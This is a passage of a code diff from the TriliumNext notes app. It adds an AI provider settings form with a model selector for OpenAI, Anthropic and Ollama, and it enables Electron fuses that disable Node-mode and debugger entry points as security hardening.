+                    {apiKeyOption && (
+                        <FormGroup name="api-key" label={t("ai_llm.api_key")} description={apiKeyDescription}>
+                            <FormTextBox
+                                type="password" autoComplete="off"
+                                placeholder={isApiKeySet ? t("ai_llm.api_key_placeholder") : ""}
+                                currentValue={apiKeyInput} onChange={saveApiKey}
+                            />
+                        </FormGroup>
+                    )}
+
+                    <FormGroup name="base-url" label={t("ai_llm.url")} description={baseUrlDescription}>
+                        <FormTextBox
+                            currentValue={baseUrl ?? "https://api.openai.com/v1"} onChange={setBaseUrl}
+                        />
+                    </FormGroup>
+
+                    {isValid &&
+                        <FormGroup name="model" label={t("ai_llm.model")} description={modelDescription}>
+                            <ModelSelector provider={provider} baseUrl={baseUrl} modelOption={modelOption} />
+                        </FormGroup>
+                    }
+                </div>
+            </div>
+        </div>
+    )
+}
+
+function ModelSelector({ provider, baseUrl, modelOption }: { provider: string; baseUrl: string, modelOption: OptionNames }) {
+    const [ model, setModel ] = useTriliumOption(modelOption);
+    const [ models, setModels ] = useState<{ name: string, id: string }[]>([]);
+
+    const loadProviders = useCallback(async () => {
+        switch (provider) {
+            case "openai":
+            case "anthropic": {
+                try {
+                    const response = await server.get<OpenAiOrAnthropicModelResponse>(`llm/providers/${provider}/models?baseUrl=${encodeURIComponent(baseUrl)}`);
+                    if (response.success) {
+                        setModels(response.chatModels.toSorted((a, b) => a.name.localeCompare(b.name)));
+                    } else {
+                        toast.showError(t("ai_llm.no_models_found_online"));
+                    }
+                } catch (e) {
+                    toast.showError(t("ai_llm.error_fetching", { error: e }));
+                }
+                break;
+            }
+            case "ollama": {
+                try {
+                    const response = await server.get<OllamaModelResponse>(`llm/providers/ollama/models?baseUrl=${encodeURIComponent(baseUrl)}`);
+                    if (response.success) {
+                        setModels(response.models
+                            .map(model => ({
+                                name: model.name,
+                                id: model.model
+                            }))
+                            .toSorted((a, b) => a.name.localeCompare(b.name)));
+                    } else {
+                        toast.showError(t("ai_llm.no_models_found_ollama"));
+                    }
+                } catch (e) {
+                    toast.showError(t("ai_llm.error_fetching", { error: e }));
+                }
+                break;
+            }
+        }
+    }, [provider]);
+
+    useEffect(() => {
+        loadProviders();
+    }, [provider]);
+
+    return (
+        <>
+            <FormSelect
+                values={models}
+                keyProperty="id" titleProperty="name"
+                currentValue={model} onChange={setModel}
+            />
+
+            <Button
+                text={t("ai_llm.refresh_models")}
+                onClick={loadProviders}
+                size="small"
+                style={{ marginTop: "0.5em" }}
+            />
+        </>
+    )
+}

apps/desktop/electron-forge/forge.config.ts

@@ -1,4 +1,6 @@
+import { FusesPlugin } from "@electron-forge/plugin-fuses";
 import type { ForgeConfig } from "@electron-forge/shared-types";
+import { FuseV1Options, FuseVersion } from "@electron/fuses";
 import { LOCALES } from "@triliumnext/commons";
 import { existsSync } from "fs";
 import fs from "fs-extra";
@@ -166,7 +168,24 @@ const config: ForgeConfig = {
         {
             name: "@electron-forge/plugin-auto-unpack-natives",
             config: {}
-        }
+        },
+        new FusesPlugin({
+            version: FuseVersion.V1,
+            // Security: Disable RunAsNode to prevent local attackers from launching
+            // the Electron app in Node.js mode via ELECTRON_RUN_AS_NODE env variable.
+            // This prevents TCC bypass / prompt spoofing attacks on macOS and
+            // "living off the land" privilege escalation on all platforms.
+            [FuseV1Options.RunAsNode]: false,
+            // Security: Disable NODE_OPTIONS and NODE_EXTRA_CA_CERTS environment
+            // variables to prevent injection of arbitrary Node.js runtime options.
+            [FuseV1Options.EnableNodeOptionsEnvironmentVariable]: false,
+            // Security: Disable --inspect and --inspect-brk CLI arguments to prevent
+            // debugger protocol exposure that could enable remote code execution.
+            [FuseV1Options.EnableNodeCliInspectArguments]: false,
+            // Security: Only allow loading the app from the ASAR archive to prevent
+            // loading of unverified code from alternative file paths.
+            [FuseV1Options.OnlyLoadAppFromAsar]: true,
+        }),
     ],
     hooks: {
         // Remove unused locales from the packaged app to save some space.